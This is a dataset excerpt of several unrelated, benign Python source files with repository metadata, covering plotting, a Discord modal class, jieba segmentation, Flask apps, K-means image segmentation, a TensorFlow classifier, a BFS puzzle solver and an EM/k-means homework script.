name]\n        else:\n            names = self.names_works\n\n        nb_workers = {}\n        times = {}\n        for name in names:\n            times_start = list(self.times[name])\n            times_stop = list(\n                np.array(times_start) + np.array(self.durations[name])\n            )\n\n            deltas = np.array([1 for t in times_start] + [-1 for t in times_stop])\n            times_unsorted = np.array(times_start + times_stop)\n\n            argsort = np.argsort(times_unsorted)\n\n            ts = times_unsorted[argsort]\n            nbws = np.cumsum(deltas[argsort])\n\n            ts2 = []\n            nbws2 = []\n            for i, t in enumerate(ts[:-1]):\n                nbw = nbws[i]\n                ts2.append(t)\n                ts2.append(ts[i + 1])\n                nbws2.append(nbw)\n                nbws2.append(nbw)\n\n            times[name] = ts2\n            nb_workers[name] = nbws2\n\n        plt.figure()\n        ax = plt.gca()\n        ax.set_xlabel(\"time (s)\")\n        ax.set_ylabel(\"number of workers\")\n        ax.set_title(self._title, fontdict={\"fontsize\": 12})\n\n        lines = []\n\n        for i, name in enumerate(self.names_works):\n            (l,) = ax.plot(times[name], nb_workers[name], colors[i] + \"-\")\n            lines.append(l)\n\n        ax.legend(lines, names, loc=\"center left\", fontsize=\"x-small\")\n\n        plt.show()\n", "repo_name": "fluiddyn/fluidimage", "sub_path": "fluidimage/topologies/log.py", "file_name": "log.py", "file_ext": "py", "file_size_in_byte": 12159, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 11, "dataset": "github-code", "pt": "81", "api": [{"api_name": "fluiddyn.util.is_run_from_ipython", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.ion", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "numpy.nan", "line_number": 29, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 36, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 39, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 40, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 44, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 46, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 49, "usage_type": "call"}, {"api_name": "time.mktime", "line_number": 127, "usage_type": "call"}, {"api_name": "time.strptime", "line_number": 128, "usage_type": "call"}, {"api_name": "time.mktime", "line_number": 187, "usage_type": "call"}, {"api_name": "time.strptime", "line_number": 188, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 245, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 249, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 249, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 250, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 250, "usage_type": "name"}, {"api_name": "numpy.empty", "line_number": 255, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 256, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 265, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 265, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 269, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 269, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 270, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 270, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 278, "usage_type": "call"}, {"api_name": "numpy.nanmean", "line_number": 287, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 294, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 294, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 308, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 311, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 312, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 314, "usage_type": "call"}, {"api_name": "numpy.cumsum", "line_number": 317, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 331, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 331, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 332, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 332, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 345, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 345, "usage_type": "name"}]}
{"seq_id": "2126215836", "text": "from enum import Enum\n\nclass Modal(object):\n    class Styles(Enum):\n        short = 1\n        paragraph = 2\n\n    DEFAULT_STYLE = 1\n    COMPONENT_TYPE = 4\n\n    def __init__(self, custom_id, **kwargs) -> None:\n        # type is the same for all buttons\n        self.type = self.COMPONENT_TYPE\n\n        # mandatory fields\n        self.custom_id = custom_id\n\n        # optional fields with defaults\n        self.label = kwargs.pop(\"label\", self.custom_id)\n        self.style = kwargs.pop(\"style\", self.DEFAULT_STYLE)\n\n        # add other fields if specified\n        for k, v in kwargs.items():\n            self.__dict__[k] = v\n\n# // this is a modal\n# {\n#   \"title\": \"My Cool Modal\",\n#   \"custom_id\": \"cool_modal\",\n#   \"components\": [{\n#     \"type\": 1,\n#     \"components\": [{\n#       \"type\": 4,\n#       \"custom_id\": \"name\",\n#       \"label\": \"Name\",\n#       \"style\": 1,\n#       \"min_length\": 1,\n#       \"max_length\": 4000,\n#       \"placeholder\": \"John\",\n#       \"required\": true\n#     }]\n#   }]\n# }", "repo_name": "oozio/lost-ark-guild-bot", "sub_path": "views/modal.py", "file_name": "modal.py", "file_ext": "py", "file_size_in_byte": 992, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "enum.Enum", "line_number": 4, "usage_type": "name"}]}
{"seq_id": "18405549767", "text": "# -*- coding: utf-8 -*-\n\nimport jieba\n\nsentence = \"接天莲叶无穷碧,映日荷花别样红\"\n\n# 精准模式和全模式就是 多项式和伯努利的区别 默认精准模式\n# 精准模式\nc1 = jieba.cut(sentence=sentence, cut_all=False)\n# 全模式\nc2 = jieba.cut(sentence, cut_all=True)\n# 关闭隐马尔科夫模式\nc3 = jieba.cut(sentence, cut_all=False, HMM=False)\n\n\ncs = jieba.cut_for_search(sentence)\n\nlc = jieba.lcut(sentence)\n\nlcs = jieba.lcut_for_search(sentence=sentence)\n\n# print(\"/\".join(c1))\n# print(\"*\".join(c2))\n# print(\"--\".join(c3))\n# print(\" \".join(cs))\n#\n# print(lc)\n# print(c1)\n\n# 词性\nimport jieba.posseg as pg\n\npgs = pg.cut(sentence)\nprint(pgs)\nfor w in pgs:\n    print(w.word, end='')\n    print(w.flag)\n    print(w)\n\n\n# 加载自定义 字典分词\n# 词典格式和 dict.txt 一样，一个词占一行；每一行分三部分：词语、词频（可省略）、词性（可省略），用空格隔开，顺序不可颠倒。\n# file_name 若为路径或二进制方式打开的文件，则文件必须为 UTF-8 编码。\njieba.load_userdict(\"./dict.txt\")\n\n\npgss = pg.lcut(sentence)\n\nprint(pgss)\n\n# 动态调整字典\n# 添加分词\njieba.add_word(\"无穷碧\")\njieba.del_word(\"\")\n\nprint('*'*40)\ntestlist = [\n('今天天气不错', ('今天', '天气')),\n('如果放到post中将出错。', ('中', '将')),\n('我们中出了一个叛徒', ('中', '出')),\n]\n\nfor sent, seg in testlist:\n    print('/'.join(jieba.cut(sent, HMM=False)))\n    word = ''.join(seg)\n    print('%s Before: %s, After: %s' % (word, jieba.get_FREQ(word), jieba.suggest_freq(seg, True)))\n    print('/'.join(jieba.cut(sent, HMM=False)))\n    print(\"-\"*40)\n\n\n", "repo_name": "jancywen/ml_learning", "sub_path": "LibraryLearning/jieba_learning/jieba_learning.py", "file_name": "jieba_learning.py", "file_ext": "py", "file_size_in_byte": 1657, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "jieba.cut", "line_number": 9, "usage_type": "call"}, {"api_name": "jieba.cut", "line_number": 11, "usage_type": "call"}, {"api_name": "jieba.cut", "line_number": 13, "usage_type": "call"}, {"api_name": "jieba.cut_for_search", "line_number": 16, "usage_type": "call"}, {"api_name": "jieba.lcut", "line_number": 18, "usage_type": "call"}, {"api_name": "jieba.lcut_for_search", "line_number": 20, "usage_type": "call"}, {"api_name": "jieba.posseg.cut", "line_number": 33, "usage_type": "call"}, {"api_name": "jieba.posseg", "line_number": 33, "usage_type": "name"}, {"api_name": "jieba.load_userdict", "line_number": 44, "usage_type": "call"}, {"api_name": "jieba.posseg.lcut", "line_number": 47, "usage_type": "call"}, {"api_name": "jieba.posseg", "line_number": 47, "usage_type": "name"}, {"api_name": "jieba.add_word", "line_number": 53, "usage_type": "call"}, {"api_name": "jieba.del_word", "line_number": 54, "usage_type": "call"}, {"api_name": "jieba.cut", "line_number": 64, "usage_type": "call"}, {"api_name": "jieba.get_FREQ", "line_number": 66, "usage_type": "call"}, {"api_name": "jieba.suggest_freq", "line_number": 66, "usage_type": "call"}, {"api_name": "jieba.cut", "line_number": 67, "usage_type": "call"}]}
{"seq_id": "32246630042", "text": "from flask import Flask\nfrom flask_sqlalchemy import SQLAlchemy\nimport os\nfrom flask_login import LoginManager\nfrom flask_socketio import SocketIO\n\ndb = SQLAlchemy()\n\nDB_NAME = \"boyskaos.db\"\nUPLOAD_FOLDER = \"website/static/uploads\"\nsocketio = SocketIO()\n\n\ndef create_app(debug=False):\n    app = Flask(__name__)\n    app.debug = debug\n    app.config[\"SECRET_KEY\"] = os.environ.get('KEY')\n    app.config['SQLALCHEMY_DATABASE_URI'] = f'sqlite:///{DB_NAME}'\n    app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n    app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\n    socketio.init_app(app)\n\n    db.init_app(app)\n\n    from .views import views\n    from .auth import auth\n    from .challenge_events import challenge_events\n    from .battle_events import battle_events\n\n    app.register_blueprint(views, url_prefix=\"/\")\n    app.register_blueprint(auth, url_prefix=\"/\")\n    app.register_blueprint(challenge_events, url_prefix=\"/\")\n    app.register_blueprint(battle_events, url_prefix=\"/\")\n\n    from .models import User, Card, Connection\n\n    create_database(app)\n\n    login_manager = LoginManager()\n    login_manager.login_view = 'auth.login'\n    login_manager.init_app(app)\n    login_manager.login_message = \"Por favor inicia sesión para acceder a esta página.\"\n    login_manager.login_message_category = \"error\"\n\n    @login_manager.user_loader\n    def load_user(id):\n        return User.query.get(int(id))\n\n    return app\n\n\ndef create_database(app):\n    with app.app_context():\n        if not os.path.exists('website/' + DB_NAME):\n            db.create_all()\n            print('Created Database!')\n", "repo_name": "Pusebe/boyskaos", "sub_path": "website/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 1592, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask_sqlalchemy.SQLAlchemy", "line_number": 7, "usage_type": "call"}, {"api_name": "flask_socketio.SocketIO", "line_number": 11, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 15, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 17, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 17, "usage_type": "attribute"}, {"api_name": "views.views", "line_number": 30, "usage_type": "argument"}, {"api_name": "auth.auth", "line_number": 31, "usage_type": "argument"}, {"api_name": "challenge_events.challenge_events", "line_number": 32, "usage_type": "argument"}, {"api_name": "battle_events.battle_events", "line_number": 33, "usage_type": "argument"}, {"api_name": "flask_login.LoginManager", "line_number": 39, "usage_type": "call"}, {"api_name": "models.User.query.get", "line_number": 47, "usage_type": "call"}, {"api_name": "models.User.query", "line_number": 47, "usage_type": "attribute"}, {"api_name": "models.User", "line_number": 47, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path", "line_number": 54, "usage_type": "attribute"}]}
{"seq_id": "37690275530", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n# ### IMAGE CLASSIFICATION USING SVM\n\n# In[1]:\n\n\nimport matplotlib.pyplot as plt\nimport cv2\nimport numpy as np\n\n\n# In[2]:\n\n\nim=cv2.imread('goku.jpg')               #reads inn bgr format     \nim=cv2.cvtColor(im,cv2.COLOR_BGR2RGB)   #coverts bgr to rgb\noriginal_shape=im.shape\n# print(im.shape)\n\n\n# In[3]:\n\n\nplt.imshow(im)                             #shows as RGBB Format\nplt.show()\n\n\n# In[4]:\n\n\n# Flatten each channel of the image\nall_pixels=im.reshape((-1,3))\n# print(all_pixels.shape)\n\n\n# In[5]:\n\n\nfrom sklearn.cluster import KMeans\ndominant_colors = 4 \nkm=KMeans(n_clusters=dominant_colors)\nkm.fit(all_pixels)\n\n\n# In[6]:\n\n\ncenters = km.cluster_centers_\ncenters = np.array(centers, dtype = 'uint8')\n# print(centers)\n\n\n# ### Plot what all colors are these\n\n# In[7]:\n\n\ni=1\nplt.figure(0, figsize=(4,2))\n\ncolors = []\nfor each_col in centers:\n    plt.subplot(1,4,i)\n    plt.axis('off')\n    i+=1\n    \n    colors.append(each_col)\n    \n    #color swatch\n    a=np.zeros((100,100,3), dtype='uint8')\n    a[:,:,:]=each_col\n    plt.imshow(a)\n    \nplt.show()\n\n\n# ### Segmenting our original image\n\n# In[8]:\n\n\nnew_img=np.zeros((1385*1628,3),dtype='uint8')\n# print(new_img.shape)\n\n\n# In[9]:\n\n\ncolors\n\n\n# In[10]:\n\n\nkm.labels_\n\n\n# In[11]:\n\n\nfor ix in range(new_img.shape[0]):\n    new_img[ix]=colors[km.labels_[ix]]\n    \nnew_img= new_img.reshape((original_shape))\nplt.imshow(new_img)\nplt.show()\n", "repo_name": "amanraj2999/Image-Classification-and-Segmentation", "sub_path": "Image-Segmentation-using-KMeans/source.py", "file_name": "source.py", "file_ext": "py", "file_size_in_byte": 1417, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "cv2.imread", "line_number": 17, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 18, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "sklearn.cluster.KMeans", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 107, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 108, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 108, "usage_type": "name"}]}
{"seq_id": "1209826987", "text": "\nimport numpy as np\nfrom os import listdir\nfrom os.path import isfile, isdir, join\nimport tensorflow as tf\nimport cv2\nfrom PIL import Image\n\nmypath = 'intput_img/'\noutputpath = 'output_img/'\nfiles = listdir(mypath)\n\n\nmodel_load = tf.keras.models.load_model('best_img_model')\n\n\nimg_height = 180\nimg_width = 180\nfor file in files:\n    imgpath = join(mypath, file)\n    img = cv2.imread(imgpath)\n    img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n    img = cv2.resize(img, (img_height, img_width))\n    # img = img.astype(np.float32)\n\n\n    # imgpath = join(mypath, file)\n    # img = tf.keras.utils.load_img(\n    #     imgpath, target_size=(img_height, img_width)\n    # )\n    img_array = tf.keras.utils.img_to_array(img)\n    img_array = tf.expand_dims(img_array, 0) # tf.keras模型經過優化，可以一次對一批或一組示例進行預測。因此，即使您使用的是單個圖像，也需要將其添加到列表中\n\n\n    predictions = model_load.predict(img_array)\n    score = tf.nn.softmax(predictions[0])\n    class_names = ['00','01','02','03','04','05','06','07','08','09']\n    # print(\n    #     \"class : {} ,score : {:.2f} %.\"\n    #     .format(class_names[np.argmax(score)], 100 * np.max(score))\n    # )\n    \n    cv2.imwrite(outputpath+str(class_names[np.argmax(score)])+'_'+file+'_.jpg',cv2.imread(imgpath))", "repo_name": "pioterlee/tf_Classification", "sub_path": "demo.py", "file_name": "demo.py", "file_ext": "py", "file_size_in_byte": 1316, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.listdir", "line_number": 11, "usage_type": "call"}, {"api_name": "tensorflow.keras.models.load_model", "line_number": 14, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 22, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 22, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 23, "usage_type": "call"}, {"api_name": "tensorflow.keras.utils.img_to_array", "line_number": 31, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 31, "usage_type": "attribute"}, {"api_name": "tensorflow.expand_dims", "line_number": 32, "usage_type": "call"}, {"api_name": "tensorflow.nn.softmax", "line_number": 36, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 36, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 43, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 43, "usage_type": "call"}]}
{"seq_id": "74717759624", "text": "# si vuole realizzare un sito web per memorizzare le squadre di uno sport a scelta.\n# l'utente deve poter inserire il nome della squadra e la data di fondazione e la citta.\n# deve inoltre poter effettuare delle ricerche inserendo uno dei valore delle colonne  e ottenendo i dati presenti.\n# salvare i dati in un dataframe o lista di dizionari o creare un file csv\n\n\n\n\nfrom flask import Flask, render_template, request\napp = Flask(__name__)\nimport pandas as pd\n\n\n@app.route('/', methods=['GET'])\ndef registration():\n  return render_template(\"1stinterface.html\")\n\n\n@app.route('/inserisci', methods=['GET'])\ndef inserisci():\n  return render_template(\"inserisci.html\")\n\n@app.route('/ricerca', methods=['GET'])\ndef ricerca():\n  return render_template(\"ricerca1stPart.html\")\n\n\n\n@app.route('/dati', methods=['GET'])\ndef dati():\n    # inserimento dei dati nel file csv\n    # lettura dei dati dal form html \n    squadra = request.args['Squadra']\n    anno = request.args['Anno']\n    citta = request.args['Citta']\n    # lettura dei dati daal file nel dataframe\n    df1 = pd.read_csv('/workspace/Flask/esercizio5/templates/dati.csv')\n    # aggiungiamo i nuovi dati nel dataframe \n    nuovi_dati = {'Team Name':squadra,'Foundation Date':anno,'city ​​of foundation':citta}\n    \n    df1 = df1.append(nuovi_dati,ignore_index=True)\n    # salviamo il dataframe sul file dati.csv\n    df1.to_csv('/workspace/Flask/esercizio5/templates/dati.csv', index=False)\n    ####### df1.to_html() prende il df e lo converte in html\n    return render_template(\"1stinterface.html\")\n\n@app.route('/dataRad', methods=['GET'])\ndef dataRad():\n    Rad_scelto = request.args[\"sceltaRad\"]\n    if Rad_scelto == \"Team Name\":\n        return render_template(\"ricercaTeamName.html\")\n    elif Rad_scelto == \"Foundation Date\":\n        return render_template(\"ricercaDateFoundation.html\")\n    else:\n        return render_template(\"ricercaCityFoundation.html\")\n\n\n\n@app.route('/dataTN', methods=['GET'])\ndef ricTN():\n    teamName = request.args[\"TN\"]\n    dati = pd.read_csv(\"/workspace/Flask/esercizio5/templates/dati.csv\")\n    res = dati[dati.Team_Name == teamName]\n    return res.to_html()\n\n@app.route('/dataDF', methods=['GET'])\ndef ricDF():\n    FoundationDate = request.args[\"DF\"]\n    dati = pd.read_csv(\"/workspace/Flask/esercizio5/templates/dati.csv\")\n    # convert column, if not converted ther will be no result because the values in the csv file are int64's and the pc is searching the value as str\n    dati[\"Foundation_Date\"] = dati[\"Foundation_Date\"].astype(str)\n    res = dati[dati.Foundation_Date == FoundationDate]\n    return res.to_html()\n\n@app.route('/dataCF', methods=['GET'])\ndef ricCF():\n    cityoffoundation = request.args[\"CF\"]\n    dati = pd.read_csv(\"/workspace/Flask/esercizio5/templates/dati.csv\")\n    res = dati[dati.City_of_foundation == cityoffoundation]\n    return res.to_html()\n\n\n\n\n\nif __name__ == '__main__':\n  app.run(host='0.0.0.0', port=3245, debug=True)", "repo_name": "LukeBasco1216/Flask", "sub_path": "esercizio5/appEs5.py", "file_name": "appEs5.py", "file_ext": "py", "file_size_in_byte": 2939, "program_lang": "python", "lang": "it", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Flask", "line_number": 10, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 16, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 21, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 25, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 33, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 33, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 34, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 34, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 35, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 35, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 37, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 45, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 49, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 49, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 51, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 53, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 55, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 61, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 61, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 62, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 68, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 68, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 69, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 77, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 77, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 78, "usage_type": "call"}]}
{"seq_id": "29332652657", "text": "from collections import deque\ndx=[1,-1,0,0];dy=[0,0,1,-1]\ndef bfs():\n    q=deque([[0,0,False]])\n    cnt=0\n    vstd[0][0][0]=True\n    while q:\n        for _ in range(len(q)):\n            r,c,b=q.popleft()\n            if [r,c]==[n-1,m-1]:return cnt+1\n            for i in range(4):\n                x=r+dx[i];y=c+dy[i]\n                if 0<=x<n and 0<=y<m:\n                    if not b and not vstd[0][x][y]:\n                        if matrix[x][y]=='1':\n                            q.append([x,y,True])\n                            vstd[1][x][y]=True\n                        else:\n                            q.append([x,y,False])\n                            vstd[0][x][y]=True\n                    else:\n                        if matrix[x][y]=='0' and not vstd[1][x][y]:\n                            q.append([x,y,True])\n                            vstd[1][x][y]=True\n        cnt+=1\n    return -1\nn,m=map(int,input().split())\nmatrix=list(list(input().rstrip()) for _ in range(n))\nvstd=[[[False]*m for _ in range(n)] for _ in range(2)]\nprint(bfs())", "repo_name": "wookkl/backjoon-problemsolving", "sub_path": "[2206]벽부수고 이동하기.py", "file_name": "[2206]벽부수고 이동하기.py", "file_ext": "py", "file_size_in_byte": 1044, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "collections.deque", "line_number": 4, "usage_type": "call"}]}
{"seq_id": "41224655596", "text": "#Filename: HW5_skeleton.py\n#Author: Christian Knoll\n#Edited: May 2020\n\nimport numpy as np\nimport matplotlib.mlab as mlab\nimport matplotlib.pyplot as plt\nfrom scipy.stats import multivariate_normal\nfrom sklearn import datasets\n\n#--------------------------------------------------------------------------------\n# Assignment 5\ndef main():\n\n    scenario = 1\n\n    # Set each to True to see the plots for this classifier\n    show_EM = True\n    show_kmean = True\n\n    #------------------------\n    # 0) Get the input\n    ## (a) load the modified iris data\n    data, labels, feature_names = load_iris_data()\n\n    ## (b) construct the datasets\n    x_2dim = data[:, [0,2]]\n    x_4dim = data\n\n    #TODO: implement PCA\n    x_2dim_pca, variance = PCA(data,nr_dimensions=2,whitening=False)\n    x_2dim_pca_w, variance_w = PCA(data,nr_dimensions=2,whitening=True)\n\n    ## (c) visually inspect the data with the provided function (see example below)\n    # plot_iris_data(x_2dim_pca,labels, feature_names[0], feature_names[2], \"Iris Dataset with PCA, (variance_explained: \"+str(variance)+\")\")\n    # plot_iris_data(x_2dim_pca_w,labels, feature_names[0], feature_names[2], \"Iris Dataset with PCA white, (variance_explained: \"+str(variance_w)+\")\")\n    # plot_iris_data(x_2dim,labels, feature_names[0], feature_names[2], \"Iris Dataset\")\n\n    #------------------------\n    # 1) Consider a 2-dim slice of the data and evaluate the EM- and the KMeans- Algorithm\n    if scenario == 1:\n        dim = 2\n        nr_components = 3\n\n        max_iter = 100  # maximum iterations for GN\n\n        if show_EM:\n            tol = 0.001\n\n            (alpha_0, mean_0, cov_0) = init_EM(dimension = dim, nr_components= nr_components, scenario=scenario, X=x_2dim)\n            (alpha_0, mean_0, cov_0, log_likelyhood, labels_2dim) =  EM(x_2dim,nr_components, alpha_0, mean_0, cov_0, max_iter, tol)\n        \n            # Plot for EM\n            plt.plot(log_likelyhood)\n            plt.show()\n\n            plot_iris_data(x_2dim,labels_2dim, feature_names[0], feature_names[2], \"Iris Dataset EM 2 Dim\")\n\n            for k in range(nr_components):\n                plot_gauss_contour(mean_0[k], cov_0[k], 4, 9, 0, 8 ,20)\n\n            plot_iris_data(x_2dim,labels_2dim, feature_names[0], feature_names[2], \"Iris Dataset EM 2 Dim\")\n\n        if show_kmean:\n            tol = 0.0001\n\n            initial_centers = init_k_means(dimension = dim, nr_clusters=nr_components, scenario=scenario, X=x_2dim)\n            final_centers, cum_dist, km_labels_2dim = k_means(x_2dim, nr_components, initial_centers, max_iter, tol)\n\n            # Plots for k-means\n            plt.plot(cum_dist)\n            plt.xlabel(\"Iterations\")\n            plt.ylabel(\"Distance\")\n            plt.title(\"k-means cumulative distance\")\n            plt.show()\n\n            plot_kmeans(x_2dim, km_labels_2dim, feature_names[0], feature_names[2], final_centers, \"k-means\")\n\n    #------------------------\n    # 2) Consider 4-dimensional data and evaluate the EM- and the KMeans- Algorithm\n    if scenario == 2:\n        dim = 4\n        nr_components = 3\n\n        max_iter = 100  # maximum iterations for GN\n\n        if show_EM:\n            tol = 0.001\n\n            (alpha_0, mean_0, cov_0) = init_EM(dimension = dim, nr_components= nr_components, scenario=scenario, X=x_4dim)\n            (alpha_0, mean_0, cov_0, log_likelyhood, labels_4dim) = EM(x_4dim, nr_components, alpha_0, mean_0, cov_0, max_iter, tol)\n        \n\n            # Plot for EM\n            plt.plot(log_likelyhood)\n            plt.show()\n\n            plot_iris_data(x_4dim,labels_4dim, feature_names[0], feature_names[2], \"Iris Dataset EM 4 Dim\")\n\n\n        if show_kmean:\n            tol = 0.0001\n\n            initial_centers = init_k_means(dimension = dim, nr_clusters=nr_components, scenario=scenario, X=x_4dim)\n            final_centers, cum_dist, km_labels_4dim = k_means(x_4dim,nr_components, initial_centers, max_iter, tol)\n        \n            # Plots for k-means\n            plot_kmeans(x_4dim, km_labels_4dim, feature_names[0], feature_names[2], final_centers, \"k-means 4 Dimensions\")\n\n\n    #------------------------\n    # 3) Perform PCA to reduce the dimension to 2 while preserving most of the variance.\n    # Then, evaluate the EM- and the KMeans- Algorithm  on the transformed data\n    if scenario == 3:\n        dim = 2\n        nr_components = 3\n\n        max_iter = 100  # maximum iterations for GN\n        nr_components = 3 #n number of components\n\n        #TODO: implement\n        if show_EM:\n            tol = 0.001\n\n            (alpha_0, mean_0, cov_0) = init_EM(dimension = dim, nr_components= nr_components, scenario=scenario, X=x_2dim_pca)\n            (alpha_0, mean_0, cov_0, log_likelyhood, labels_pca) = EM(x_2dim_pca, nr_components, alpha_0, mean_0, cov_0, max_iter, tol)\n        \n            # Plot for EM\n            plt.plot(log_likelyhood)\n            plt.show()\n\n            plot_iris_data(x_2dim_pca,labels_pca, feature_names[0], feature_names[2], \"Iris Dataset EM PCA\")\n\n            for k in range(nr_components):\n                plot_gauss_contour(mean_0[k], cov_0[k], 2, 9, 0, 8 ,20)\n\n            plot_iris_data(x_2dim_pca,labels_pca, feature_names[0], feature_names[2], \"Iris Dataset EM PCA\")\n\n        if show_kmean:\n            tol = 0.0001\n\n            initial_centers = init_k_means(dimension = dim, nr_clusters=nr_components, scenario=scenario, X=x_2dim_pca)\n            